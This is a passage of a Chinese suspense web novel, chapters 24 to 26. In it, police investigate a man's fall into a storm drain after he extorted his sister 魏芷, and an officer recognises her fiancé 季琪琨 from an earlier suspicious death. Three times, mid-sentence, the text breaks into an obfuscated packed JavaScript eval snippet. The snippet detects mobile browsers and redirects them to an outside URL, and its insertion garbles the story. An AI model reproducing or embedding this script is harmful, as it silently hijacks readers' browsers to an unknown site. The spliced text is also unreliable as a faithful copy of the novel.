透过模糊的玻璃窗,只能看到雨水倾泻而下的模糊轮廓,它们像是无数透明的箭矢,无情地击打在窗户上,发出啪啪的声响。外面的世界完全被黑暗所吞噬,除了那偶尔闪现的电光,几乎无法辨认任何物体的形状。 街道上的积水迅速上涨,汇成一条条急流,携带着落叶和其他杂物,匆匆奔向未知的方向。 魏芷浑身湿透,坐在亮如白昼的询问室里瑟瑟发抖。 在她对面,坐着两名男性警察。 “我弟弟……我弟弟找到了吗?”魏芷含着惊恐的眼泪,连声音都在颤抖。 其中一人对旁边的人耳语了一句,站了起来走出问询室,他的身材瘦削,棱角分明的脸上没有一丝赘肉。 “我们的救援人员正在搜救,你现在先回答我们的问题。”更加年轻的那名警察说,“把警察到达之前的事情经过,详细再说一遍。” 出去的那名警察走了出来,手里多了一张毛毯,他走了过来,将毛毯递给魏芷。 “……谢,谢谢……” 魏芷用颤抖的手接过,披在了自己身上。 年纪稍长的警察坐下后,更年轻的那名警察发话了。 “说吧。” 魏芷强迫自己镇定下来,从乱麻一般的思绪中找到一切的开端。 “我叫魏芷……掉到井盖下的是我的弟弟,魏来。” 她从今晚说起,而说起今晚,首先避不开的就是雷雨天气里也要见面的原因。 “你们今晚见面的原因是什么?”年轻的警察问。 短信,电话,转账记录,只要一查就能知道真相。隐瞒是愚蠢的。 魏芷忍不住流出了眼泪。 “他让我今晚一定要转四万块钱给他,不然就把我的秘密告诉我的未婚夫……” “你的什么秘密?”年轻警察立即追问。 “我……我欠了网贷,欠了一百多万。我的未婚夫还不知道……”魏芷哀求道,“你们不要把这件事告诉他,求你们了——” 年轻警察不为所动,说:“这要看是否与警情有关。他勒索你多久了?” “我不知道……” “不知道?什么意思?” “从知道我有网贷起,他就时不时让我转钱给他,但大多是小数目。” “他是什么时候知道你有网贷的?” “八月下旬……二十四号。” “为什么记那么清楚?” “因为那天……我和家里吵了很大的架,我父亲要我贷款给弟弟买房。我不同意。然后他们就发现了我网贷的事情……他们很生气。” “你借网贷是为什么?” “我母亲患有胃肠道间质瘤,每个月都需要服用靶向药物伊马替尼。这个药,一盒就是两万多。她每个月需要服用两盒……我的所有工资加上晚上跑外卖挣的钱,都还不够,没有办法,只能一直借,一直借……” “一个月前,我母亲知道了我借网贷的真实目的……自杀了。她不想拖累我。在那以后,弟弟就开始狮子大开口了,他说……我能每个月给母亲花四万块,就能每个月给他花四万块。” 魏芷的声音越来越低,她拼命忍着哭腔。 两名警察没有说话。年轻的警察语气和缓了许多,脸上露着同情。 在他身边一直没开口的稍年长的警察问道:“你还记得他掉下去的准确时间吗?” “我马上就打报警电话了,打电话的时间应该就是他掉下去的时间。”魏芷哽咽道。 “你们谈话期间,或者是他掉下去的时候,附近有没有其他人?”他问。 “没有,就我们两人。” 年轻的警察看向年长的那个,后者起身道:“我们暂时问到这里,你先在这里休息一会吧。之后可能还会有需要你回答的问题。” 魏芷点了点头,裹紧了身上的毛毯,寒意却依旧不断地从湿透的衣服里向身体内部侵蚀。 她猜到外面一定已经有许多人,想到出去之后还要面对魏杉的暴怒和季琪琨的质询,这间问询室反而变得温暖起来。 两名警察离开后,问询室里只剩下魏芷一人。 魏来消失的那一幕,持续不断地出现在她的脑海中,任凭她如何驱赶也挥之不去。她蜷缩起颤抖的身体,用毛毯包住整个身子。 年长的警察端着一杯热水重新走进问询室,看到这一幕,默默地把热水留在桌上,悄悄走了出去。 更为年轻的警察是今年新转正的警察,他站在门廊里等着年长的警察出来,连忙上前说道:“现勘刚刚结束了,他们的意见是暴雨冲刷导致井盖移位,现场没有挣扎痕迹,坠井人一瞬间就落入了排水道。” “监控视频传回来了吗?” “传回来了,和现勘的结论一样。你要看看吗?” 年长的警察点了点头,和小陈一起又把监控看了一遍。 视频中,虽然清晰度因为暴雨的缘故有些模糊,但至少站在楼道里的魏芷身影清晰可见,从魏来走出楼道到失足坠井,她都站在同一个位置没有变过。 魏来坠井后虽然愣了一下,但马上就反应过来,拨打了报警电话。 “吴队那边怎么样了?”年长的警察问。 …… 第二间询问室里,老吴正拧着眉头,听眼前的证人夸夸其谈。旁边的年轻警察急急忙忙地记录着对方的证词,写字的速度远远赶不上对方说话的速度。 “哎哎哎,别什么都写!”老吴不耐烦地叫停了已经写出错别字的年轻警察,又瞪了眼前的证人一眼,“你也是,别什么屁大点的事也叨叨个没完!就说今天晚上事发前后的经过!” “哦,哦——好,今天晚上——今天晚上,大约八点吧,我每天晚上这个时候,都会出来吸两根烟。因为老婆刚生完,不准我在屋里抽,我就只有出门来抽。” “你在哪儿抽的?”老吴问。 “在三楼过道的窗户前,因为我就住三楼嘛!”中年男人爽快地说道。 “你接着说。” “然后啊,我抽烟的时候,听到有人进入了楼道。我还以为是回家的住户呢,没想到他们也没继续上楼,就在楼道里聊了起来。这个,聊的内容还有些隐秘,警官,你知道的嘛,八卦是大家都想听的嘛,所以我就没走,也没出声,就继续听了下去。” “你听到了什么?说详细点。” “我听到那个男的,拿什么东西要挟那个女的,要她转钱给他呢!而且数目还不小,女的只有一万多,男的又让她去借了三万。” “还有吗?” “中途他们还说了什么小时候的秋游,小面包什么的。就是回忆往昔,警官,你知道的嘛,像我们上了年纪的人也喜欢回忆过去——但是那个男的不吃这一套,不念旧情,就是要让女的转钱。我还听见他叫那女的姐呢!” “然后呢?” “那男的拿到钱,就没有然后了啊。啊对了,拿到钱这个是我猜的,警官你们自己去核对啊。” “你为什么觉得男的拿到了钱?” “因为那男的先是让女的输密码,然后过了会语气就好了,还说什么下个月见。这不就是拿到钱了嘛!我从窗户里看到,那男的先走了出去——” “他一个人吗?” “对啊,他一个人走的!”中年男人肯定地说,“结果他一脚踩到了井盖上,我都没反应过来,他就没了影子!把我吓坏了,然后我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721206|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就听到了那女的尖叫,没过一会,我就听到她报警的声音。” “你怎么没报警?” “我知道有人报警了,我还报什么警,再重复报警——那不是占用资源吗?”中年男人讪笑道。 “那你怎么没第一时间出现?” “我偷听了人家的谈话,我好意思出去吗?”中年男人说完,意识到不妥,又急忙补充道,“不过我肯定是要来和你们警方提供情报的,你看,我这不是自己找来的吗?” “你还有什么要补充的吗?”老吴问。 中年男人虽然还想让这场以他为中心的灯光秀持续得久一些,但他绞尽脑汁,也想不出遗漏的东西了。 “没了,都说完了……”他满脸遗憾地说。 “行,你在这里等一下,我们确认没有问题要补充询问,你就可以走了。”老吴站起身来。 老吴走出问询室后,和走来的另外两名警察汇合。 双方交换了调查所得,一切都指向这是一起单纯的意外事故。 老吴说:“掉进下水道的人找到了没?” “还没找到,水流太急了。”年轻的小警察说。 “……难啊。”老吴看了眼窗外,“这么大的雨。” “家属正在外边闹着,吴队你要去看一眼吗?”小警察问。 “我不去了,小张——你去看看。”老吴用手中的文件夹轻轻拍了拍张开阳的肩膀。 张开阳点了点头,带着小警察往派出所窗口处走去。 越往外走,喧闹声越是明显。 窗口处,一名身材矮小的男人正在用力拍打着玻璃,发出沉闷的响声。他大喊大叫,情绪激动,一双肿胀如牛眼的眼睛里充满血丝,两名民警正站在他身旁,拦住他拍玻璃的动作,窗口内值班的民警则一脸习以为常,神色平淡地对他解释着什么。 小警察正要向那名坠井人家属走去,却发现身边的师兄忽然停下了脚步。 “……张哥?”他诧异道。 张开阳目不转睛地望着另一个坐在长椅上的身影,心中如翻江倒海。 那个人似乎有所感觉,抬起了低垂的头,他们的目光在饱含阴冷雨气的空气中相接。 他看到他的脸上闪过一丝惊异,然后露出了温文儒雅的笑容。 季琪琨站了起来,身上穿着一套服帖的高级订制西服,颀长高挑的身形在西服的衬托下更加高雅。他和那边被强行按在桌上冷静的男人格格不入,也和这个充满普通气息的派出所格格不入。 他朝张开阳走来,而张开阳站在原地一动不动。 “好久不久,张警官。”季琪琨向他伸出了手。 张开阳望着他,没有动作。小警察惊讶地看着这一幕。 季琪琨毫不意外地笑了笑,自己收回了手。他饶有兴趣地注视着张开阳脸上的疲态以及眼角早早生出的皱纹,说: “张警官,没想到还能再看见你。难道这就是缘分?” “……你在这里做什么?”张开阳问。 “当然是你们警方传唤我来的。” 张开阳看向身边的小警察,后者连忙说道:“他是报警人魏芷的未婚夫。” 张开阳变了脸色。 季琪琨从怀中拿出一张名片,递给张开阳。 张开阳看到那上面金光闪闪的字样: “OCEAN艺术中心”。 “艺术总监:季琪琨”。 过往的回忆开始激荡,张开阳的眼前浮现出最后一次见到他的模样。 年轻的大学生站在法庭上,看着庭审上的保安拉走情绪激动的翁秀越。他目视着这一切,目光转到坐在旁听席上的张开阳时,缓缓露出了微笑。 他永远记得那一幕。 他嘴角的轻蔑和自豪。 距那一天,一眨眼已经八年。 24.第 24 章 事发六小时后,魏芷终于走出了问询室。 窗口处的长椅上坐着双手抱头,颓废不已的魏杉。而在另一条长椅上,则坐着神色寻常的季琪琨,她注意到他身上不再是她出门时的家居服,而是穿着笔挺的休闲西服。 她的眼前不禁浮现出他接到警方通知,不慌不忙地更换好外出衣服的模样。 “小芷。”他起身朝她走来,眼中露出一抹担忧。 一个更快的身影抢在他的前面,如杀红了眼的野兽那般朝她扑来。 两名警察反应迅速,一左一右钳住魏杉的手臂。 “你这个赔钱货,扫把星!死得怎么不是你——死的怎么不是你!”魏杉情绪激动地大吼道。 “够了!这里是派出所,你以为是什么地方?!”小陈呵斥道。 “我的儿子啊!我唯一的儿子啊!”魏杉拍着大腿,嚎哭着蹲了下去,“我们老魏家唯一的香火啊!警官,你行行好,一定要找到我的儿子——” 魏芷的眼泪流了出来,她蹲了下去,试图安抚魏杉的情绪:“爸,对不起……” “滚!”魏杉一把打开她的手,闪着泪花的老眼怒不可遏地瞪着她,“都是你害死你弟弟!” 小陈看不下去,说:“你怎么这么偏心啊?你儿子逼你女儿给钱你怎么一字不提?”、 “她是姐姐!照顾弟弟本来就是天经地义!更何况,她——”魏杉眼珠一转,忽然醒悟过来旁边还站着季琪琨,“琪琨啊,你说说是不是这个理,她自己过得好,提携提携弟弟,这不是人之常情吗?” 魏杉朝站着的季琪琨哭喊着: “她倒好!狠心啊!从来不贴补家里,每次都是家里揭不开锅了,我才让她出点小钱。就这——她也推三阻四。这次也是!要不是她存心使坏,怎么会特意约在这又下雨又打雷的夜里啊?!早知道她这么没良心,当初就不该同意她去读大学!读书读书,把良心都读没了!” 魏芷并不辩解,只是望着魏杉不断流泪。 “那是你儿子约的时间,不是你女儿约的!”小陈义愤填膺道,“你这人怎么这样,你女儿才是最无辜的那个!” “你说什么?!那我儿子就不无辜了吗?那我儿子就该死了吗?!” 魏杉爬了起来,抓住小陈的裤腿大喊道。 张开阳拦住年轻气盛的小陈,拉开了撒泼的魏杉,沉声道:“现在救援还没结束,家属也别太悲观。我们会尽力营救,没什么事你们可以先回家去等。” 季琪琨把魏芷扶了起来,轻轻擦掉她脸庞上源源不断的泪水,转头对张开阳说: “那就麻烦张警官了,有魏来的消息,请马上联系我们。” 张开阳沉默地点了点头,他的目光落在魏芷脸上,眼中闪过担心。但警察的基本素质,让他只能缄默。 “有什么事情可以立即联系警方。”他看着魏芷的眼睛说道。 “……好。”魏芷回过神来,意识到身上还披着毛毯,她忙将毯子还给对方。 张开阳摇了摇头:“你的衣服湿了,披着吧。” 魏芷看着他转身离开,那个高大瘦削的背影,和精神卫生中心所留意到的背影所重叠。 “走吧。”季琪琨搂着她的肩膀,低声说道。 她回过神来,跟着季琪琨的脚步往派出所外走去。 …… 灯火通明的家里,魏芷已经洗过澡,换上干净衣服。 她坐在餐厅昏黄的灯光下,看着中央厨房里忙碌的季琪琨。一股浓浓的米香味飘散在静谧的空气中,宽阔的落地窗外,瓢泼的大雨让光与暗的界限混沌不堪。 许久后,季琪琨端着一个小砂锅走了回来,他把小砂锅轻轻放在隔热垫上,揭开了砂锅的盖子,露出一锅香气扑鼻的海鲜粥。 洁白软糯的米粒,簇拥着红彤彤的虾仁,热气冉冉上升,盘旋在头顶的灯光左右。 “……我没有胃口。”魏芷说。 “没胃口也要吃一些。”季琪琨说,“接下来才是硬仗。” “什么意思?”她抬起头来。 “今天只是第一天,接下来,还有好几天更高强度的问询。”季琪琨平静地拿起汤勺,舀了一碗海鲜粥放到魏芷面前。 “你不问我发生了什么吗?” 他反问:“你现在想说吗?” 魏芷沉默半晌:“我想说完再吃。” “你说吧。”季琪琨握住了她放在桌上的手,目光深情地望着她,“我会听。” “今天晚上,我骗了你。”她说,“我出门不是为了买电线,是为了去见我弟弟。我怕你不会同意,所以骗了你。对不起……” 季琪琨面无异色,继续望着她。 “母亲死后,他一直要我把母亲的那份治疗费给他。不然,他就威胁到家里来闹事,破坏我们的婚事。” 魏芷凄楚地望着他,红肿的眼眶中再次流下泪水。 她紧握着季琪琨的手,泣不成声地哀求道: “我太害怕失去你了,我不敢想象没有你的生活……为了能继续和你在一起,我只能想办法去凑钱满足他的要求……对不起,琪琨,我知道错了……你能原谅我吗?” 季琪琨握紧她的手,叹了口气。 “你太傻了。”他说,“下回再有这种事,你应该告诉我。” 魏芷心中的闸刀落了下来,砍在无人的木桩上。 她含泪点头,一如既往的温顺乖巧。 “吃吧。”季琪琨摸了摸她的头,说。 魏芷拿起汤匙,吹了吹滚烫的热粥,状若无意道:“你怎么会知道接下来还有问询?” 季琪琨看着她,没有立即回答这个问题。片刻后,他的身体向后,靠在椅背上,握在她左手上的手,也自然而然地退了回去。 “我也经历过。” “……什么?” “我也经历过这样的事。被当做嫌疑人,无尽的问询。”他说。 魏芷一动不动地看着他。 “那是很早以前的事了。”季琪琨说,“在我上大学的时候,我交过一个女朋友。我们经常在同一个画室练习画画,后来她又竞选学生会干部,而我是主席。虽然她后来落选,但我们还是在一起了。一开始,我很爱她。” “……但她不久就露出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739909|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真面目。” “她到处留情,在网上和不认识的男人一起打游戏,在聊天记录里叫别人老公。现实生活里,她也动不动就和别的男生发生肢体接触。我对她提出过很多次不满,但她总是说,那是她纯真的友谊。所以,不纯真的可能只有我吧。” 季琪琨露出了苦笑。 “我知道我应该完全相信你,但我还是在你的手机里安装了定位软件。这也是因为我这段失败的感情经历。对不起,小芷。” “琪琨……”魏芷面露同情,“后来你们怎么样了?” “后来,我终于忍耐不下去,向她提出了分手。但她不同意,还用自残来威胁我,说分手不如去死。” “我怕她真的做傻事,心软和她复合,但没过多久,她就故态萌发。终于,我向她提出了彻底的分手。我没有想到……没有想到她真的会从楼顶跳下去……就在我的眼前。” 季琪琨沉默了片刻,似乎在平复自己的心情。 “后来,警察来了。他们问了我很多东西,她的母亲,认为是我把她推下了楼,但现场勘查却找不到任何足以支撑这一点的证据。就连法院也不支持她的要求,判决她败诉,她却不甘心,屡次来我上学的地方闹事,还在网络上抹黑造谣我,让人们对我网暴。不得已,我出国了。” “整整六年,我不能回家。直到两年前,我听说她已经离开了江都市,才回到家乡,开了这家画廊。” “我明白那种无端被怀疑的感受,小芷。”他再次握住了她的手,恳切地望着她的眼眸,“看着现在的你,就好像看见了当初的我。” “她……叫什么名字?”魏芷问。 “那个母亲吗?” “你跳楼的前女友,叫什么名字?” “梅满。梅花的梅,圆满的满。”季琪琨说。 魏芷看着他的眼睛:“你书房里的那幅画,是她画的吗?” “……是她最后的作品。”季琪琨顿了顿,“我不忍心让她的遗作流落世间,所以就挂在书房里保管了起来。你不会生气吧?” 魏芷摇了摇头。 “她画得很好。”她低声说,“我能感受到画里的情绪。” “那的确是一幅不可多得的好画。”季琪琨眼中流露出一抹怜悯,轻声说,“画家倾注了自己全部的情感。” 魏芷低下头,将那勺凉了的海鲜粥放进嘴里。 米粒和虾仁的尸体,被她的牙齿慢慢咬碎,蹦出死后身体里残留的最后汁液。 餐厅内一片死寂,魏芷咀嚼的声音不断击打着耳膜。 窗外的暴雨仍在不断地敲击着窗户,夜色浓重得如同被墨水染过,没有一丝光亮穿透这厚重的黑暗。 雨水顺着玻璃滑落,留下一道道扭曲的痕迹,昏黄的灯光投射出餐桌前两条斑驳的影子,墙角的阴影似乎在悄悄蠕动。 “车库里还有辆平时没开的奔驰,钥匙我一会找出来放在玄关上。也省的我不在的时候,你出门麻烦。” “好。” 季琪琨望着低头喝粥的魏芷,魏芷凝视着碗中的尸体。 两人都看不清对方的表情。 25.第 25 章 派出所亮如白昼的办案大厅内,张开阳正在整理魏来坠井事件的调查证据。 一份是魏芷和魏来三个月内的通讯记录。 “明天晚上十二点之前,我要见到四万块转来我的卡上。” “否则,我会向所有人揭露你的真面目。” 这里的真面目,指的是否就是魏芷口中的负债百万? 一份是对两人人际关系的走访。 张开阳第一次踏足OCEAN艺术中心的时候,保安电话请示了季琪琨,后者大方地允许他在不打扰客人的基础上进行调查取证。 财务部经理热情地接待了他。 “魏芷啊?她挺好的啊,工作效率很高。” “她在画廊有什么朋友吗?” “朋友?好像没有……小魏这人什么都好,就是有点缺乏集体意识,平时她都是独来独往,没见和谁走在一起。” 翘腿坐在转椅上,端详着新美甲的蔡姓出纳: “什么缺乏集体意识,就是脾气怪,当面一套背后一套。谁敢和她一起玩?” 张开阳停下了作记录的笔。 “……当面一套背后一套是什么意思?” “就是字面意思啊。”小蔡抬起眼皮,审视的目光从张开阳的脸滑落至肩上的警衔,“她看着像只无辜的小羔羊对吧?都是装的——我早就知道她不是什么好人。她家里没钱,却总是背假包满足自己的虚荣心,我听说她妈妈来画廊找过她,可能是嫌丢人吧,没说几句话就把人赶回去了——” “这就是你说的当面一套背后一套?”张开阳问。 小蔡翻了个白眼:“她知道我看穿了她的真面目——有一天晚上,她突然给我打来电话,故意问我星巴克的杯子里是不是装的自来水。你说她这是不是有病?” “……不仅如此,他还逼她打那些莫名其妙的电话,让她去故意惹恼别人——” 八年前,梅满一案中匿名电话里的证词从张开阳的脑海中苏醒。 财务部经理在开着门的玻璃房里旁听着,忽然插话进来: “小魏工作的能力没得说,但不得不说,确实有点……怎么说呢,她和我们总监在一起之后,经常无视纪律无故早退。一开始我也不知道怎么处理,试探了一下总监,没想到他也不知道小魏早退的事情,搞得总监还反过来向我道歉,弄得我怪不好意思的。后来小魏再早退,我也就当不知道了——” “等到被淋水的人向梅满发火,季琪琨又会以‘调停者’的身份站出来斡旋——” 一切都在重合。 散发着潮湿和汗臭味的外卖站点,张开阳走进一排电瓶车中,向正在登记新归还电瓶车的老板说明了来意。 “魏芷啊,我很有印象,她在我这儿跑了四年的外卖了。她是兼职里面干得最久的一个,刮风下雨,雷打不动。就算晚上有事耽搁了,只要还能跑上一小时,她也会从家那里走过来借车——” “你怎么知道她是走过来的?” “这地方就这么大,警官——只要没超过两千米,一律都是街坊邻居。而且,她家那情况也挺有名,我想不知道都不行。警官,这姑娘是个有孝心又善良的好人,只可惜命苦。” “她家什么情况?” “一家老赖,一家指望着这姑娘钓金龟婿吸血呢。”老板面露同情,“她妈妈人倒是不错,就是撑不起家,被男的一直欺负。前不久还上吊死了,这下更没人替这姑娘撑腰了。那天晚上,雨下得那个大,她却冒雨前来找我退押金,我还问她是不是急用这几百块——她说是给她弟凑钱。” 老板靠着电瓶车,点燃了一根红塔山,砸着嘴说: “要我说,她弟弟这回出事,那是老天都看不下去了!” 自魏来坠井后一直关门状态的杂货铺,在张开阳的要求下,魏杉重新拉开了卷帘门。 接连几日的彻夜未眠让他眼中的红血丝更加明显,他哭哭啼啼地抱怨着自己命苦,眼中却始终未见一滴泪水。 “人就是在这儿吊死的?”张开阳注视着那低矮的货架。 “应该是吧,我听他们说是的。” “听谁说?” “警察说的呀——我来的时候,人已经给放下来了。我没见是怎么吊死的……反正就吊死了。”魏杉抹着干燥的眼圈道,“这才几天啊,我儿子又不见了……麻绳专挑细处断啊!警官,你一定要帮我把儿子找回来,那可是我们老魏家唯一的种——” 魏杉的叫苦像苍蝇一般嗡嗡嗡地盘旋在张开阳耳边,他目不转睛地注视着那层货架,想象着王琳死后的姿势。 她跪着活了一辈子,就连死后,双膝也没能伸直。 人是有生存本能的,死亡来临前的那一秒,本能会让人挣扎。 而王琳的意志战胜了人类强大的本能,她头也不回地选择死亡。 在派出所工作的八年间,他见过太多类似的事情。 患上癌症晚期,不忍为儿女增添负担,离家出走消失不见的老人;拒绝父母为自己卖房治病,宁愿吃止痛药过活的子女;执意要净身出户离婚,只因患上不治之症的伴侣…… 救与不救,活与不活。 他无法指责任何一方。 他早已不是八年前那个初出茅庐,满心壮志的见习民警,他见得越多,就越是明白,比起忙着战胜邪恶的刑警,民警更多时候的任务只是见证无奈。 幸福的人是少数,不幸的人也是少数。 而绝大多数人,困于天堂和地狱之间。 魏芷的调查告一段落后,张开阳又去走访了魏来的人际关系。 相比魏芷单调的人际网,魏来的人际关系可以说乱成了一锅粥。前女友多,狐朋狗友多,催账的电话也多。 其中有一个电话引起了他的注意,对方是新入职的银行员工,听说以前也是经常和魏来一起上网的朋友,但最近因为工作的原因,已经很少有机会见面。 他们打电话的目的是什么? 银行安排张开阳在办理VIP业务的小房间里见到了这个人。 “魏来是给我打过几次电话,我们聊了聊近况,约着什么时候再一起出来打游戏。”青年神情不安,手上动作频繁。 张开阳将这一切记在脑中,问:“说说吧,聊了什么?” “就是最近过的怎么样啊……” “两次电话,都是在聊过得怎么样?”张开阳问,“我劝你还是说实话,耽搁办案是也要被追究的。” 青年咽了口口水:“他……他想找我借钱,我没借。” “借钱?” “对,借钱。”青年点了点头,神情安定下来,“他想找我借五百块充网费,我没借。他哪儿有钱还啊?我又不是冤大头,我就拒绝了。” “那你后来又打电话回去是干什么?” “我劝他找个工作,好好过日子,别天天拆东墙补西墙的,我们是高中同学,多少还是有点情谊……” “你知道作伪证有什么后果吗?”张开阳一边在笔记上记录,一边说道。 青年再次咽了口唾沫,硬着头皮说:“无所谓,我又没撒谎。警官,你要是觉得我撒谎就拿出证据来,不要诬陷好人。” 张开阳看了他一眼,后者心虚地躲开了他的目光。 他没说实话。张开阳的直觉清楚这一点,但青年铁了心要隐瞒他和魏来真正的谈话,恐怕那次谈话的内容触及了对方真切的利益。一时半会,他是不会说实话的。 “如果有遗漏的问题,我还会再来找你。” 张开阳收起笔记本,离开了银行。 派出所窗外的夜色越来越深,老吴端着保温杯走了进来加开水,注意到仍在座位上加班的张开阳,走了过来。 “还不下班?”老吴站到张开阳的桌子前,“有什么收获?” 张开阳摇了摇头。 “那你是在加什么班?”老吴问,“这些材料,我都看过了。你觉得有问题?” 张开阳迟疑了一会才说道:“……我只是觉得,有点太巧了。” “什么太巧了?人一脚踩在井盖上就没了太巧了?”老吴嗤笑了一声,打开保温杯的杯盖,抿唇喝了一口温热的茶水,“这样的事情,你在派出所见少了?” “失足坠井本身没什么,只是一连串的事情都发生在一起,感觉……” “不要感觉。”老吴打断他的话,看着他的眼睛说道,“我们是警察,警察要用证据办事。” “……我知道。”张开阳垂下眼,把材料都整理起来放进了文件袋。 “小张啊,你也不小了。你不会是想在这屁大点的派出所里干一辈子基层民警吧?”老吴说,“你当时毕业的时候,也是名列前茅啊。我年纪大了倒是无所谓,难道你就不想接手一点大案子?好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752131|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去省里锻炼锻炼?” “对我来说,所有案子都一样。”张开阳说。 这是他的心里话,老吴也知道那是他的心里话。所以他才会露着同情的表情,拍了拍他的肩膀。 “如果是别人说这话,我铁定不信。如果是你,我知道那是真的。八年,奥斯卡影帝也装不了八年。”老吴叹了口气,“小张啊,你就是心肠太软,太容易和受害人那一方共情。我不是说这样不好,而是一切都要适度。你如果太和受伤的那一方感同身受,你也会受伤的。” 张开阳没有说话。 “你听过这样一句话没有?”老吴说,“警察,是人民的公仆。” “……当然。” “你觉得说得对么?” 张开阳抬头朝老吴看去。 老吴的精神气仍然像个四十多岁的中年,但斑白的寸头却泄露了他的真实年龄。八年时间,一切都在变化。 “对,却又不完全对。”老吴笑道,“我们警察,是证据链的公仆。我们寻找证据,组合证据链,维护证据链所展示的正义。这就是我们全部的职责。你知道为什么吗?” “……为什么?” “因为人会说谎。”老吴语重心长地说道,“证据链不会。” 他盖上保温杯杯盖,恢复了散漫的神情,转身往放饮水机的地方走去。 “没事就下班吧,你也老大不小了。多关心关心自己的个人大事,别像老单身汉一样天天在派出所加班。” “……是。”张开阳低声应道,把文件袋放进了抽屉。 同一时间,刚想出去打夜麻将的魏杉在家后门被堵了个正着。 几个腰粗膀圆,左青龙右白虎的大哥把他团团围住。 “去哪儿呢?欠平台的钱,打算什么时候还?” 魏杉被推到墙壁上,矮小的身材在几个彪形大汉面前毫无胜算。 他干脆一屁股坐到地上,喊道:“这杂货铺里你觉得什么值钱你拿去好了,反正也开不下去了!” “谁要你那点不值钱的东西!”为首的壮汉说道,“你就是再拿十个这样的杂货铺来还,也还不上你借的三分之一!” “那你想怎么样?”魏杉死猪不怕开水烫伸出水肿的左手,“你杀了我也没那么多钱来还!要不,你剁两根手指,咱们就算两清了!” “都他妈什么年代了还剁手指,我们拿你那两根烂指头干什么?老子还嫌晦气呢!”壮汉唾了一口,说,“我是来给你出主意的,你儿子不是刚死吗?” “你他妈才死了!我儿子只是还没找到!”魏杉破口大骂。 “随便吧——”壮汉不耐烦地说,“反正你儿子出事了,你能找物业赔钱。老家伙,你这是要发大财啊,你知道上一个这样的,物业赔了多少吗?” “多少?”魏杉的眼睛亮了起来。 “一百万啊!”壮汉说,“你说这是不是发大财?” “可是……我儿子是自己掉进去的,找物业有用?”魏杉怀疑道。 “我们打听过了,这属于物业的责任。他们没有及时检查到井盖的滑动,四周没有立警示牌。你去告他们,一告一个赢。”壮汉成竹在胸道。 魏杉的眼珠快速转动起来,一股强烈的兴奋盖过了他的丧子之痛。 “……真的?” “你去试试不就知道了。”壮汉说,“记得拿到钱了,先把我们平台的帐给了了。” “那当然,那当然……”魏杉一股脑地爬了起来,赔笑道,“如果真能赔那么多,我一定把你们的帐给结清了!” 壮汉轻蔑地扫他一眼,用下巴示意其余人跟他一起走了。 魏杉留在小巷里,打麻将的心也淡了。他点燃了一根烟,仔细合计起这笔生意来。 魏来冲进下水道已经四天了,一点消息也没有,看样子已经是凶多吉少了。 那是他唯一的儿子,说不心痛是假的。 但活人总要为自己考虑。 如果能拿到一百万的赔偿金,他还用得着去看魏芷的脸色吗? 他的人生还能重新开始,他甚至还能再生一个儿子! 魏杉被激动扼住了咽喉,胸口处一阵抽痛,但他习以为常地抑制住了。 他深吸了一口气,吐出长长的一股烟雾,用颤抖的脚踩灭了烟头,揉乱了本就凌乱的头发,跌跌撞撞往蓝天小区的方向走去。 26.第 26 章 魏来坠井后的第八天,警方以意外事件为结论,结束了一系列繁琐的调查。 魏芷在最后一次问询后,被送到了派出所大门前。 她现在已经知道了眼前这名中年警察的名字——张开阳,和她在精神卫生中心所见到的一样。 他是去开药的?还是去查案的? 魏芷识趣地没有追问。 “你们打算什么时候结婚?”张开阳状若随意地问道。 “应该是在下半年,具体时间还没定……因为最近发生太多事了。”魏芷强笑了笑。 魏来还没找到,但所有人都心知肚明,他已经没有生还希望了。就连找到尸体,都成了一个奢望。 他和他的手机以及随身的一切物品,都消失在了偌大的城市地下。 “这么说,你们最近就会结婚。”张开阳若有所思。 “有什么问题吗?” “……你记一个我的电话。”张开阳没有回答她的问题,转而说道,“遇到危险随时与我联系。” 张开阳目不转睛地看着她,魏芷从他的眼神中察觉到一股坚定和迫切。她原本不打算与警察扯上联系,但在他的注视下,她中途动摇了想法。 “你写一个号码给我吧。”她说。 他没有问她为什么不记在手机里,而是要写在纸上,就像是已经知道她不能在手机上留下其他人的痕迹。 张开阳从门卫那里借了纸和笔,写下一串号码,撕下纸来递给她。 魏芷接过纸张,小心仔细地将号码叠成一个小小的方块。 张开阳正在注视她的行为,冷不丁听到她缓缓开口: “当年我未婚夫的案子,张警官是否也参与调查了?” 魏芷将叠好的方块放进提包隔层小包,抬头看向惊讶的张开阳。 “我猜的。”她笑了笑,“看来猜中了。” “谢谢张警官为我弟弟的事情劳心劳力,我很想说再见,但好像不是太吉利。”她说,“下回在别的地方再见吧,张警官。” 